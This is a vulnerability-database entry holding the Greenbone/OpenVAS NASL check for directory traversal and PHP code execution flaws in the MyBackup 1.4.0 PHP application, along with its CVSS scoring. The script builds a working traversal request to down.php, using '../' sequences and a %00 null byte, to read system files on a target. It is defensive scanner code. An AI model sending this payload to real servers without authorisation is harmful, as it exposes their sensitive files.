CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
AI Score
Confidence
Low
EPSS
Percentile
71.4%
MyBackup is prone to multiple vulnerabilities. These
vulnerabilities include a directory traversal vulnerability and an arbitrary PHP code execution
vulnerability.
# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.100768");
script_version("2023-12-13T05:05:23+0000");
script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
script_tag(name:"creation_date", value:"2010-08-31 14:30:50 +0200 (Tue, 31 Aug 2010)");
script_tag(name:"cvss_base", value:"6.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:P/I:P/A:P");
script_cve_id("CVE-2009-4977", "CVE-2009-4978");
script_tag(name:"qod_type", value:"exploit");
script_tag(name:"solution_type", value:"WillNotFix");
script_name("MyBackup <= 1.4.0 Multiple Vulnerabilities");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2010 Greenbone AG");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"summary", value:"MyBackup is prone to multiple vulnerabilities. These
vulnerabilities include a directory traversal vulnerability and an arbitrary PHP code execution
vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"impact", value:"An attacker can exploit these vulnerabilities to execute
arbitrary PHP code in the context of the affected site or obtain sensitive information. Other
attacks are also possible.");
script_tag(name:"affected", value:"MyBackup version 1.4.0. Other versions may also be affected.");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features,
remove the product or replace the product by another one.");
script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/9365");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("os_func.inc");
include("port_service_func.inc");
port = http_get_port(default: 80);
if (!http_can_host_php(port: port))
exit(0);
files = traversal_files();
foreach dir (make_list_unique("/backup", "/mybackup", http_cgi_dirs(port: port))) {
if (dir == "/")
dir = "";
res = http_get_cache(port: port, item: dir + "/down.php");
if (res !~ "^HTTP/1\.[01] 200")
continue;
foreach file (keys(files)) {
url = dir + "/down.php?filename=../../../../../../../../../../../../" + files[file] + "%00";
if (http_vuln_check(port: port, url: url, pattern: file)) {
report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);
exit(0);
}
}
}
exit(99);